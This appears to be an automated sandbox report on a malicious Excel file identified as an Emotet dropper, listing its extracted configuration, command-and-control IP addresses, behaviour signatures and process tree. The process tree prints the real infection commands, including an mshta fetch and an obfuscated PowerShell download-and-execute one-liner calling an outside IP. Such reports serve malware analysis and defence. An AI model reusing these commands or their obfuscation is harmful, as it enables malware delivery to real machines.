Analysis
- max time kernel
121s - max time network
165s - platform
windows10_x64 - resource
win10-en-20211208 - submitted
28/01/2022, 19:09
General
- Target tmpism7opl5.xls
- Size 90KB
- Sample220128-xtsbjabbdq
- SHA256 c760d0d3edebc45c33b8952ee9c79ed590fe992317bbc212b420ac249dee53cd
Malware Config
Extracted
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hta
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hta.dropper
http://91.240.118.172/cc/vv/fe.html
Extracted
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ps1
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ps1.dropper
http://91.240.118.172/cc/vv/fe.png
Extracted
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emotet
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Epoch4
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160.16.102.168:80
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131.100.24.231:80
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200.17.134.35:7080
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207.38.84.195:8080
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212.237.56.116:7080
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58.227.42.236:80
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104.251.214.46:8080
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158.69.222.101:443
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192.254.71.210:443
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46.55.222.11:443
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45.118.135.203:7080
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107.182.225.142:8080
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103.75.201.2:443
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104.168.155.129:8080
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195.154.133.20:443
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159.8.59.82:8080
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110.232.117.186:8080
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45.142.114.231:8080
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41.76.108.46:8080
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203.114.109.124:443
Signatures
- Emotet
Emotet is a trojan that is primarily spread through spam emails.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
- Blocklisted process makes network request 6 IoCs
- Downloads MZ/PE file
- Loads dropped DLL 2 IoCs
- Drops file in System32 directory 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Program crash 1 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 19 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of SetWindowsHookEx 13 IoCs
- Suspicious use of WriteProcessMemory 20 IoCs
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmpism7opl5.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\SYSTEM32\CMD.EXECMD.EXE /c mshta http://91.240.118.172/cc/vv/fe.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\mshta.exemshta http://91.240.118.172/cc/vv/fe.html3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 3524 -s 16404⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.172/cc/vv/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\JooSee.dll,ssAAqq5⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWow64\rundll32.exeC:\Windows\SysWow64\rundll32.exe C:\ProgramData\JooSee.dll,ssAAqq6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\JooSee.dll",DllRegisterServer7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Lffanq\hrgrkrnugy.gjd",ecxVZaQhW8⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Lffanq\hrgrkrnugy.gjd",DllRegisterServer9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
memory/1612-621-0x00000000058D0000-0x00000000058F5000-memory.dmp
memory/1612-619-0x0000000005700000-0x0000000005725000-memory.dmp
memory/1612-617-0x00000000056A0000-0x00000000056C5000-memory.dmp
memory/1612-615-0x0000000005640000-0x0000000005665000-memory.dmp
memory/1612-613-0x0000000005440000-0x0000000005465000-memory.dmp
memory/1612-611-0x0000000005360000-0x0000000005385000-memory.dmp
memory/1612-608-0x0000000004E70000-0x0000000004E95000-memory.dmp
memory/1692-622-0x0000000004480000-0x00000000044A5000-memory.dmp
memory/2132-606-0x0000000004090000-0x00000000040B5000-memory.dmp
memory/2744-129-0x00007FF9D3640000-0x00007FF9D3650000-memory.dmp
memory/2744-116-0x00007FF9D70A0000-0x00007FF9D70B0000-memory.dmp
memory/2744-664-0x00007FF9D70A0000-0x00007FF9D70B0000-memory.dmp
memory/2744-665-0x00007FF9D70A0000-0x00007FF9D70B0000-memory.dmp
memory/2744-667-0x00007FF9D70A0000-0x00007FF9D70B0000-memory.dmp
memory/2744-666-0x00007FF9D70A0000-0x00007FF9D70B0000-memory.dmp
memory/2744-130-0x00007FF9D3640000-0x00007FF9D3650000-memory.dmp
memory/2744-122-0x00007FF9D70A0000-0x00007FF9D70B0000-memory.dmp
memory/2744-119-0x00007FF9D70A0000-0x00007FF9D70B0000-memory.dmp
memory/2744-118-0x00007FF9D70A0000-0x00007FF9D70B0000-memory.dmp
memory/2744-117-0x00007FF9D70A0000-0x00007FF9D70B0000-memory.dmp
memory/3612-631-0x0000000004980000-0x00000000049A5000-memory.dmp
memory/3612-642-0x0000000004E20000-0x0000000004E45000-memory.dmp
memory/3612-626-0x0000000004240000-0x0000000004265000-memory.dmp
memory/3612-629-0x0000000004790000-0x00000000047B5000-memory.dmp
memory/3612-648-0x0000000004EA0000-0x0000000004EC5000-memory.dmp
memory/3612-633-0x0000000004A60000-0x0000000004A85000-memory.dmp
memory/3612-635-0x0000000004B40000-0x0000000004B65000-memory.dmp
memory/3612-637-0x0000000004C30000-0x0000000004C55000-memory.dmp
memory/3760-342-0x0000011AF7080000-0x0000011AF70F6000-memory.dmp
memory/3760-563-0x0000011AF68A6000-0x0000011AF68A8000-memory.dmp
memory/3760-326-0x0000011AF6B10000-0x0000011AF6B4C000-memory.dmp
memory/3760-314-0x0000011AF68A3000-0x0000011AF68A5000-memory.dmp
memory/3760-311-0x0000011AF68A0000-0x0000011AF68A2000-memory.dmp
memory/3760-273-0x0000011AF6870000-0x0000011AF6892000-memory.dmp